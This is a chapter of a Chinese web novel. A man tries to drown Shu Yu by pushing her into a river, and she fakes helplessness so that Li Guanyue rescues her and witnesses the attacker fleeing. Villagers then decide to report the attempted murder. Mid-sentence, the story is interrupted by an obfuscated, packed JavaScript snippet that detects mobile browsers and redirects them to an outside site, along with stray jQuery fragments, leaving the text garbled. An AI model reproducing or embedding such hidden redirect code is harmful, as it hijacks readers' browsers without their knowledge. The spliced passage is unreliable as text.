陈志鹏蹲在一丛灌木后面,面无表情地盯着十米开外舒瑜的背影。
光天化日的,他心里有些发虚,手心黏腻腻地出了汗。
可一想到昨晚翻来覆去的煎熬,脑子里全是舒瑜指着他骂他“坏人”的样子,还有她竟敢让那个来头不小的厉同志抓自己,愤恨便彻底冲昏了头脑。
“区区一个臭丫头。”他嘴角扯出一抹嘲讽的笑,无声地动了动嘴唇,“想抓我?“
“老子先弄死你!”
河边,舒瑜弯着腰,双手撑在膝盖上,头低垂着,似乎被水里游来游去的小鱼完全吸引了注意。
陈志鹏又迅速扫视了一圈四周,远处的村庄静默着,只有河水的流淌的声音。
没人。
他咽了口唾沫,心脏如擂鼓般开始跳动,他压下紧张,一步一步地,缓慢地朝着那个毫无防备的背影挪去。
舒瑜凝视着水中自己的倒影,水面清澈,映出她苍白紧绷的脸。
水中的她抿着唇,眼中再无属于“傻子”的无虑与天真。
蓦地,一条小鱼受了惊,尾巴一甩,快速游开,水面泛开涟漪,打散了舒瑜的倒影。
舒瑜的心跳陡然加快,她屏住呼吸,不自觉地绷紧身体。
几秒钟后,水面平复,倒影重新凝聚,慢慢地映出了两个身影。
来了。
即使心里早有防备,可背上那股猛力袭来之际,舒瑜还是一阵心脏紧缩。
陈志鹏这一推,用了死力,甚至可以说是用力击打。
剧痛在舒瑜后背弥漫开,她控制不住地向前扑去,“噗通”一声,重重砸进河里,冰凉的河水瞬间淹没了她。
嘶,好凉。
舒瑜呛了口水,随即立刻屏住呼吸,她会游泳,心里并不慌,但手脚却在水中胡乱扑腾起来,故意弄出很大动静,嘴里不断发出呼喊:“救、救命!”
陈志鹏推完人,许是料定一个傻子根本不可能会游泳,又生怕多待一秒就被人发现,他看也没敢再多看一眼,转身拔腿就跑。
他的心脏疯狂跳动,一半是惊慌,一半是事成后的扭曲畅快,尤其是听到舒瑜临死前的挣扎身。
可他才跑出不不远,后面传来的动静就如同惊雷劈般在他身上。
“舒瑜!”厉关岳惊声喊道。
这还是她第一次见厉关岳如此失控的样子,泡在水里的舒瑜心虚地挪开眼。
陈志鹏则被吓得肝胆俱裂,脚下发软,他头也不敢回,只死命地往前冲。
回家,他要回家!
不,不能回!
陈志鹏痛苦地想:早知道他就不冲动了!
都怪舒瑜,该死!该死!
厉关岳是被呼救声引过来的,他正和舒明淮在林子里说话,明淮还说要找找有没有果子带回去给他小姑。
正说话间,忽然听到有人在呼救,声音还有些耳熟,他冲出来一看,就见舒瑜在水中无力地挣扎,水花四溅,和上游不远处一正仓皇逃窜的身影。
厉关岳眼底骤然一冷,来不及多想,边跑边解开衣服扣子,一把甩掉外套,扔在河岸。
他跳进河里,朝着舒瑜奋力游去。
“小姑!小姑!”舒明淮晚了几步跑过来,小脸吓得惨白,他看着在水里挣扎的小姑,急得眼泪直掉,“都怪我,都怪我!”都是他没看好小姑。
厉关岳游到舒瑜身边,从侧面托住她的手臂,将她带出水面,稳住她的身体,安抚道:“别怕。”
舒瑜挣扎的动作不大,并不像他以前救起过的溺水的人那样,因恐惧而疯狂地扑腾挣扎。
厉关岳脑子闪过短暂的疑虑,但救人要紧,他一手把住舒瑜的腰,将人扣在怀里,换了个更好游泳的姿势。
腰间的手臂坚实有力,舒瑜靠在他的胳膊上,脸上混杂着伪装出来的害怕。
厉关岳一手牢牢箍着她,另一只手划水,迅速带着她往岸边游去,他的目光却锐利地扫向陈志鹏逃跑的方向,那里,已经空无一人。
厉关岳半拖半抱地把舒瑜带到岸边,一上岸,立刻抓起自己扔在地上的外套,兜头裹在舒瑜身上。
水滴顺着他的头发、下巴往下淌,他抹了把脸:“没事吧?”
舒明淮也扑了过来,声音发颤:“小姑……”
舒瑜在心里道:“好明淮,真听话,果然没走远,真是帮了你姑的大忙。”他们进了林子,但没走远,这才让厉关岳及时赶了过来,还目睹了陈志鹏逃走。
舒瑜放松下来,她下半张脸埋在带着清爽皂角气味的外套里,冰冷的身体回暖了些,她下意识吸了口气,干净清冽的味道扑鼻而来,很好闻。
舒瑜反应过来后有些尴尬,她摇摇头,不忘正事:“有人推我,背上好痛。”
厉关岳扶住她:“先回去。”
舒瑜点点头,厉关岳却动作一顿,垂下眼睛,背对着她蹲了下来:“舒瑜,上来。”
舒瑜愣住,厉关岳自己也是浑身湿透,里面只着一件白衬衫,紧贴着他的身体,勾勒出模糊的肩背线条。
水珠顺着他短短的头发滑落,滴在脖颈上,舒瑜挪开眼,有点不好意思地摸了摸鼻子,从心地趴了上去。
厉关岳稳稳地站起身,舒瑜那点重量对他来说根本不算什么,他侧头对红着眼睛的舒明淮道:“明淮,跟上。”说完,便迈开大步,朝着村子的方向快步走去。
舒瑜趴在他背上,虽然隔着外套,但她大腿弯处传来的那属于厉关岳的温度却格外灼人。
厉关岳走得很快,步子又稳,舒明淮需要小跑着才能跟上。
到了家门口,厉关岳脚步不停,直接背着舒瑜进了院子,他对舒明淮道:“明淮,你去徐书记家,请他过来。”
念头一转,他又道:“麻烦陈婶也过来一趟。”陈婶是徐书记的媳妇。
舒明淮点头,转身就朝村支书家跑去,小身影很快消失在门外。
这时,陈丽云正巧从鸡窝那边捡了鸡蛋回来,看到厉关岳背着舒瑜进门,浑身湿透,眼里闪过看热闹的兴味,嘴一张就想说点什么。
可话还没出口,厉关岳转过头,只是目光平静地扫了她一眼,就让陈丽云心一抖,咽下了所有不中听的话,她讪讪地闭了嘴,拎着鸡蛋篮子快步进了灶房。
随后马上躲回了他们房间,里头舒卫国正呼呼大睡着。
厉关岳没理她,放下背上的人,低头说:“舒瑜,你先去房里把衣服换了。”
舒瑜点点头,抱着身上那件宽大的外套,挪回她和明淮住的小偏屋,回身关门时,她回头看了一眼。
厉关岳就站在院子里,背对着她,浑身湿透,水迹在他脚下洇开。
舒瑜抿了抿唇,心里涌上愧疚,厉关岳真的对他们很好。
舒瑜不会为自己的选择找借口,她为了自己,为了明淮,就是利用了厉关岳,给人家带来了麻烦。
可她不后悔,她想活着,仅此而已。
“哪有人不为己的?”
舒瑜轻轻关上门,靠在门板上,长长地舒了口气,暂时放下了复杂的心绪。
无论如何,这粗糙的计划算是成了。
不管怎样,陈志鹏必需为他做过的事付出代价,给原主一个交代,也给舒父一个交代。
……
没过多久,舒明淮就领着徐书记和他媳妇陈兰花急匆匆地回来了。
徐书记在路上已经从舒明淮的讲述里大致明白了事情经过。
一进院门,他看见浑身湿透、面色沉静的厉关岳,也并不惊讶,只是眉头拧得死紧,沉重地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166303|196725||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叹了口气,上前一步:“厉同志,今天真是多亏你了,要不是你,舒瑜这孩子……”后面的话他没说下去,摇了摇头。
厉关岳身上的衬衫还在滴水,他只是微微颔首:“应该的。”语气淡淡,听不出什么情绪。
徐书记看着他,又扫了眼紧闭的房门,压低声音问:“厉同志,那……推人的人,你看清了?”
厉关岳点了点头,目光清明:“看清了,不是你们大队的人。”
以厉关岳的眼力,只一眼就把那人的背影和昨天在县里碰到的男人匹配上了,至于那人的身份,他也在树林里从舒明淮哪儿打听到了。
厉关岳这话让徐书记一直悬着的心回落下来,凶手不是他们大队的就行,他重重松了口气:“噢噢,那就好,那就好。”
“那这事儿,你看……”
“报案。”厉关岳果断道,“故意杀人,性质恶劣,必须让公安处理。”
说罢,他放缓语气,转头对一旁紧张的陈婶道:“婶子,麻烦你进去看看舒瑜背上的伤。”这也是陈志鹏故意杀人的证据。
他想到舒瑜可怜兮兮地叫着“背上疼”的模样,面上不动神色,只是周身的气场更加凌厉。
陈兰花是个爽利性子,立刻应了声:“好嘞,交给我。”
她推门进了屋:“舒丫头,是婶子。”
屋里,舒瑜已经换上了干衣服,正坐在床边,陈兰花走过去,放轻了声音:“丫头,让婶子看看后背,伤着没?”
舒瑜顺从地转过身。
陈兰花撩起她的衣服下摆一看,立刻拧起了眉头,倒吸一口凉气:“哎呦,这是哪个杀千刀的王八羔子,下这么重的手!”
只见舒瑜后背靠近肩胛骨的地方,赫然一片触目惊心的青紫色,边缘甚至泛着黑,在女孩苍白皮肤的对比下,看着格外骇人。
陈兰花小心地替她拉好衣服,心疼又气愤地念叨着:“真是造孽哟!”
“这么个小姑娘,怎么下得去手!”
她扶着舒瑜走出房间,对着院子里的徐书记和厉关岳,语气带着明显的怒意:“他爹,厉同志,那人下手忒毒了,舒丫头背上都黑了一大块。”
“这哪是推一把,这是奔着要人命去的!”
徐书记和厉关岳的目光都落在舒瑜苍白的脸上。
徐书记的脸色彻底沉了下来。
他们大队这是怎么了?
半年前许家的大山在林子里没了,舒家丫头不明不白傻了,这才多久,舒丫头又差点被人害得淹死在河里。
一股寒意和怒火窜上来,徐书记不再犹豫,对厉关岳道:“厉同志,你说得对,这事儿不能算了,必须报警!”
“我现在就去公社打电话!”说着,他当即扭头出门。
厉关岳点了点头,没再多说,只是目光再次扫过舒瑜低垂着头的侧脸,眸色深了深。
真是胡闹。
他叹息:“陈婶,得再麻烦你给舒瑜擦药了。”
陈兰花摆摆手:“嗐,这有啥麻烦的。”
“丫头,等婶子回家拿药,婶子家有药油,就治这伤的。”
舒瑜点头,她背上真痛得受不了了。
十来分钟后,舒瑜的房间传出了一声声惨叫。
“嗷嗷嗷!”舒瑜趴在床上,陈婶子站在床边,给舒瑜抹着药。
“救命啊!”这声音听着竟然比她在河里叫得还要真情实感。
舒明淮吓了一跳,蹲在厉关岳脚边注视着房门的他跳起来,下意识上前两步,却被厉关岳挡住。
厉关岳偷偷勾起唇角:“没事的,你小姑擦药呢。”
“这淤伤要揉开才好得快。”厉关岳与陈婶子的说话声重合。
舒明淮懵懵地点头,而舒瑜,还在嗷嗷叫着。